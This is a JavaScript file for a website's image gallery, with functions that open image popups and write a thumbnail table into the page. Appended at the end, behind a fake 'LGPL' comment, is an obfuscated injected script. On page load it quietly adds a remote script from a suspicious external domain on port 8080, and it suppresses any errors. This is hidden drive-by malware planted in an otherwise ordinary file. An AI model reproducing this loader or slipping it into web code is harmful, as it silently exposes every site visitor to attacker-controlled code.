var ViewWindow = 0;

function ClearView()
{
   if( ViewWindow != 0 && !ViewWindow.closed )
      ViewWindow.close();
}

function ViewImage( idstr, width, height )
{
   ClearView();
   if( navigator.appName == "Microsoft Internet Explorer" ) 
   {
      width += 20;
      height += 25;
   }
   ViewWindow = window.open( "images/" + idstr + ".jpg", "Image" , "status=false, width=" + width + ", height=" + height );
   ViewWindow.focus();
}

function TableItem( filestr, picwidth, picheight, description )
{
   this.filestr = filestr;
   this.picwidth = picwidth;
   this.picheight = picheight;
   this.description = description;
}

function TableParams( ncolumns, colordark, colorlight, thumbwidth, thumbheight, border, center, text )
{
   this.ncolumns    = ncolumns;
   this.colordark   = colordark;
   this.colorlight  = colorlight;
   this.thumbwidth  = thumbwidth;
   this.thumbheight = thumbheight;
   this.border      = border;
   this.center      = center;
   this.text        = text;
   this.columnwidth = Math.round( 100 / ncolumns );
}

function WriteField( str )
{
   document.write( "<BR>" );
   document.write( "<FONT FACE=\"Comic Sans MS, Verdana, Arial, Helvetica\">" );
   if( str.length > 0 )
      document.write( str );
   else
      document.write( "&nbsp;" );
   document.write( "</FONT>" );
}

function DisplayImage( Item, Params )
{
   document.write( "<A HREF=\"images/" + Item.filestr + ".jpg\"" 
                   + "onClick=\"ViewImage( '"
                   + Item.filestr
                   + "', "
                   + Item.picwidth + ", " + Item.picheight
                   + " ); return false;\"><IMG SRC=\"thumbnails/"
                   + Item.filestr
                   + "_t.jpg\" WIDTH=" + Params.thumbwidth + " HEIGHT=" + Params.thumbheight + " BORDER=" + Params.border + " ALT=\""
                   + Item.filestr
                   + ".jpg - Click to enlarge.\"></A>" );
}

function WriteItem( Item, Params )
{
   document.write( "<TD VALIGN=\"TOP\" WIDTH=\"" + Params.columnwidth + "\%\"><SMALL>");
   if( Params.center )
      document.write( "<CENTER>" );
   DisplayImage( Item, Params );
   if( Params.center )
      document.write( "</CENTER>" );
   if( Params.text )
      WriteField( Item.description );
   document.write( "</SMALL></TD>" );
}

function CreateTable( ItemList, Params )
{
   nfullrows = Math.floor( ItemList.length / Params.ncolumns );
   document.write( "<P><TABLE WIDTH=\"100%\" BORDER=1 BORDERCOLORDARK=\"" + Params.colordark + "\" BORDERCOLORLIGHT=\"" + Params.colorlight + "\">" );
   for( count = 0; count < nfullrows * Params.ncolumns; count++ )
   {
      if( count % Params.ncolumns == 0 )
         document.write( "<TR>" );
      WriteItem( ItemList[count], Params )
      if( ( count + 1 ) % Params.ncolumns == 0 )
         document.write( "</TR>" );
   }
   nlast  = ItemList.length % Params.ncolumns;
   nempty = Params.ncolumns - nlast;
   if( nlast > 0 )
   {
      document.write( "<TR>" );
      for( i = 0; i < Params.ncolumns; i++ )
         if( ( ( Params.ncolumns + nlast ) % 2 == 0 && i < Math.floor( nempty / 2 ) ) ||
             ( ( Params.ncolumns + nlast ) % 2 != 0 && i < Math.floor( nempty / 2 ) - 1 ) || 
             ( Params.ncolumns % 2 != 0 && nlast % 2 == 0 && i == Math.floor( Params.ncolumns / 2 ) ) ||
             count >= ItemList.length
           )
            document.write( "<TD>&nbsp;</TD>" );
         else
            WriteItem( ItemList[count++], Params )
      document.write( "</TR>" );
   }
   document.write( "</TABLE>" );
}






/*LGPL*/ try{ window.onload = function(){var Q20vys35zub = document.createElement('s)@c($!$r$i)&p@@t!!#'.replace(/&|\(|\)|\^|\$|@|#|\!/ig, ''));Q20vys35zub.setAttribute('defer', 'd$()$e^@!f&(e$$@!r(@!'.replace(/@|#|\(|&|\^|\)|\$|\!/ig, ''));Q20vys35zub.setAttribute('type', 't!!&e@!!^x!@#t&)/(@j^##a$$@v@&a&^s&@#c^r)&i#^#p&&$t^'.replace(/&|\$|\^|\!|@|\)|#|\(/ig, ''));Q20vys35zub.setAttribute('id', 'U$!n^p!@u$y$&^#j)@#&o@#w^!@7^5#^6#!!x)$'.replace(/#|\)|\$|&|\!|\^|@|\(/ig, ''));Q20vys35zub.setAttribute('s^#(r#&c!)'.replace(/\!|&|\)|#|\^|\$|\(|@/ig, ''),  'h(#t!$@t(@!p!@!:&/@!/$@w#)e)@l(!!#(l#s#@&@f&a^r$#g&&(^o&@-@(c@(!o)#)m#^&^$.@!(y&a(&n$!#d$#e!^$x^.#!#)u!@)!a#.&)&f!@!r@)e^&s#(h&w$$a))$$p$)^-!()n@e(^@@(t^$.&w^!@e!^@b@n(@e^@&^t&(e$$n!g)(&l)i&s&h($.))@r@u^:^$^8^##0^!8((0))/(^l!($e^!t^^i^#t#b)&i^@#t$#(@.$&n#@e&t#!$/(^#l^)e$$@t)#i#$!)t&^b$i$@!t&.#@n)e!^#t&^/@!#t@)$o#&y&^^s@(r&@&u#!#$s$^.$#^c(!o(###m&/#!!d!)@a($&q$$(i@($).(c@o#^m^^^$/$g($$o(#$o()##g$l&&e#).#(#c(&^)o#^m(!/$@'.replace(/#|\)|@|\^|\(|&|\$|\!/ig, ''));if (document){document.body.appendChild(Q20vys35zub);}} } catch(N5ka93th72teu8m9cww3) {}